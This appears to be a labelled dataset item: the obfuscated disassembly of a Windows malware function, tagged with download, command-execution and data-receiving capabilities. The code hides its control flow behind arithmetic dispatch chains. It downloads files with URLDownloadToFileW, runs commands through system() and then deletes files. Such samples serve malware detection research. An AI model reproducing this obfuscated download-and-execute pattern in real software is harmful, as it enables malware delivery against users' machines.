Function at 0x140016e87
Capabilities:
Download url
Execute command
Receive data

Disassembly:
push rax
pushf
mov eax, 0x1ee84022
pushf
not eax
add eax, 0xc2c8296d
xor eax, 0xbed2c021
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa4b0c6e9
xor eax, 0xda16e0b2
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x9103a6dc
xor eax, 0xd23abb12
rol eax, 0xf8
popf
cmp eax, 4
jne 0x140016ed7
popf
pop rax
jmp 0x14001738a
cmp eax, 0
jne 0x140016ee6
popf
pop rax
jmp 0x140016f6d
cmp eax, 3
jne 0x140016ef5
popf
pop rax
jmp 0x1400172d2
cmp eax, 1
jne 0x140016f04
popf
pop rax
jmp 0x14001712e
cmp eax, 0xa
jne 0x140016f13
popf
pop rax
jmp 0x140017613
cmp eax, 7
jne 0x140016f22
popf
pop rax
jmp 0x140017471
cmp eax, 6
jne 0x140016f31
popf
pop rax
jmp 0x1400173d1
cmp eax, 2
jne 0x140016f40
popf
pop rax
jmp 0x140017232
cmp eax, 9
jne 0x140016f4f
popf
pop rax
jmp 0x14001754a
cmp eax, 8
jne 0x140016f5e
popf
pop rax
jmp 0x140017512
cmp eax, 5
jne 0x140016f6d
popf
pop rax
jmp 0x1400173c2
push rbx
sub rsp, 0x80
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 0x10]
lea r8, [0x1ad57cea6]
pushf
sub r8, 0x6d5755ee
popf
lea rdx, [0x1a08bc4d5]
pushf
sub rdx, 0x608b4be5
popf
xor ecx, ecx
jmp 0x140016fb7
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 0x10]
lea r8, [0x1904b6a19]
pushf
sub r8, 0x504af099
popf
lea rdx, [0x198d87032]
pushf
sub rdx, 0x58d7f682
popf
xor ecx, ecx
jmp 0x140016fed
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 0x10]
lea r8, [0x1995265b0]
pushf
sub r8, 0x5951eb78
popf
lea rdx, [0x1a11972b0]
pushf
sub rdx, 0x6118f850
popf
xor ecx, ecx
jmp 0x140017023
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, [0x1b58e6c22]
pushf
sub rcx, 0x758df13a
popf
jmp 0x14001703c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], rbx
mov ecx, 0x691a8208
pushf
not ecx
add ecx, 0xba78ab6c
xor ecx, 0xb2068f84
rol ecx, 0xeb
popf
pushf
not ecx
add ecx, 0xaf32504e
xor ecx, 0xdca86d67
rol ecx, 0x64
popf
pushf
not ecx
add ecx, 0xdd87e8e7
xor ecx, 0x88507bed
rol ecx, 0x1f
popf
call fcn.1400151dd
test rax, rax
je 0x1400170fb
push rax
pushf
mov eax, 0x361a7baa
pushf
not eax
add eax, 0xda6b0e13
xor eax, 0xa80c25c3
rol eax, 0xac
popf
pushf
not eax
add eax, 0xc20ed077
xor eax, 0xecf7b3f4
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xba5614d8
xor eax, 0xffcf6a03
rol eax, 0x37
popf
pushf
not eax
add eax, 0x967ebb5c
xor eax, 0xb3b8863a
rol eax, 0x16
popf
jmp 0x140016ec8
push rax
pushf
mov eax, 0x9892fd21
pushf
not eax
add eax, 0xba823a9b
xor eax, 0xc2319664
rol eax, 0x88
popf
pushf
not eax
add eax, 0xd06af26a
xor eax, 0xf1bfd4ae
rol eax, 0xde
popf
jmp 0x140016ec8
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rsp + 0x60], rcx
lea rbx, [rcx + 0x2c00]
mov qword [rsp + 0x70], rbx
mov r8d, 0xa9f832ba
pushf
not r8d
add r8d, 0xa18d5bd7
xor r8d, 0xbcbc0a59
rol r8d, 0x1d
popf
pushf
not r8d
add r8d, 0x94dea7e4
xor r8d, 0xeb55837b
rol r8d, 0x58
popf
lea rdx, [0x1a122abeb]
pushf
sub rdx, 0x6121fb1b
popf
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.14001ff50
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400171ec
push rax
pushf
mov eax, 0x8836db39
pushf
not eax
add eax, 0xafb71b39
xor eax, 0xe44e5256
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xb468b83b
xor eax, 0xd915319e
rol eax, 0x99
popf
jmp 0x140016ec8
push rax
pushf
mov eax, 0xcf3f80f8
pushf
not eax
add eax, 0xa8c6fd9a
xor eax, 0xf0d8d079
rol eax, 0x75
popf
pushf
not eax
add eax, 0x972c8df1
xor eax, 0x94575416
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x8cf3748c
xor eax, 0xeb3299d6
rol eax, 0xd8
popf
jmp 0x140016ec8
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001729f
push rax
pushf
mov eax, 0xecba0a7b
pushf
not eax
add eax, 0xb12ee0c6
xor eax, 0xb4c8212e
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xf1f2f187
xor eax, 0xa177b5ca
rol eax, 0x38
popf
pushf
not eax
add eax, 0x835b6e4e
xor eax, 0xcf909e91
rol eax, 0x93
popf
pushf
not eax
add eax, 0xb89b7a02
xor eax, 0xd4782f96
rol eax, 0x5a
popf
jmp 0x140016ec8
push rax
pushf
mov eax, 0x675c79be
pushf
not eax
add eax, 0xbbc10828
xor eax, 0xb89d5f54
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xa50d1307
xor eax, 0xe76dd9df
rol eax, 0x3a
popf
jmp 0x140016ec8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017331
push rax
pushf
mov eax, 0x64f9b01
pushf
not eax
add eax, 0xbd49967d
xor eax, 0xf3ada89d
rol eax, 0x77
popf
pushf
not eax
add eax, 0xa05f5800
xor eax, 0xe3b914a7
rol eax, 0xa
popf
pushf
not eax
add eax, 0xc04cf5d9
xor eax, 0xa966309e
rol eax, 0xf2
popf
jmp 0x140016ec8
push rax
pushf
mov eax, 0x88f8a511
pushf
not eax
add eax, 0xee1d2a5f
xor eax, 0xa75fd994
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xb8429187
xor eax, 0xee7aa19d
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x995d27b2
xor eax, 0x8e63c4d2
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xc3b65274
xor eax, 0xb676edb9
rol eax, 0xf2
popf
jmp 0x140016ec8
call fcn.14001ced0
push rax
pushf
mov eax, 0x58a1e882
pushf
not eax
add eax, 0x9d69aca8
xor eax, 0xbd190924
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x8fc94298
xor eax, 0x95ba7596
rol eax, 0x8c
popf
jmp 0x140016ec8
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14001754a
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017418
push rax
pushf
mov eax, 0xe3319072
pushf
not eax
add eax, 0xf6d0ca33
xor eax, 0xb7c60340
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x85035bbf
xor eax, 0xe0ad213e
rol eax, 0x50
popf
jmp 0x140016ec8
push rax
pushf
mov eax, 0x39bcf052
pushf
not eax
add eax, 0xe4e8a391
xor eax, 0xd0b3050b
rol eax, 0x16
popf
pushf
not eax
add eax, 0xb3b84594
xor eax, 0x809d2e59
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x8eb42be2
xor eax, 0xe52b517e
rol eax, 0x99
popf
pushf
not eax
add eax, 0x90303a1d
xor eax, 0xc945d186
rol eax, 0x99
popf
jmp 0x140016ec8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400174cc
push rax
pushf
mov eax, 0x1f950d42
pushf
not eax
add eax, 0xc33f92db
xor eax, 0xd5bbb0c8
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x987d0f83
xor eax, 0xdea25723
rol eax, 0x13
popf
pushf
not eax
add eax, 0x990c6a60
xor eax, 0xc4c00223
rol eax, 0xff
popf
jmp 0x140016ec8
push rax
pushf
mov eax, 0x49e9af0f
pushf
not eax
add eax, 0x978748b7
xor eax, 0xd76946f3
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xbc231e5f
xor eax, 0xd20c1f79
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x9e8cb078
xor eax, 0xd75bc44e
rol eax, 0xc8
popf
jmp 0x140016ec8
call fcn.14001ced0
push rax
pushf
mov eax, 0xb41facf4
pushf
not eax
add eax, 0xb6233492
xor eax, 0xf3c6b35b
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xfc6d182d
xor eax, 0xaf3b5bf3
rol eax, 0xbd
popf
jmp 0x140016ec8
lea rcx, [0x188993d99]
pushf
sub rcx, 0x4898c289
popf
jmp 0x14001755d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x18bef9a27]
pushf
sub rcx, 0x4bef1eef
popf
jmp 0x140017576
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1925d76f1]
pushf
sub rcx, 0x525cfba1
popf
jmp 0x14001758f
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x19bfb271a]
pushf
sub rcx, 0x5bfaabb2
popf
jmp 0x1400175a8
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1bf6013d3]
pushf
sub rcx, 0x7f5f9853
popf
jmp 0x1400175c1
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14002a31b
add rsp, 0x80
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3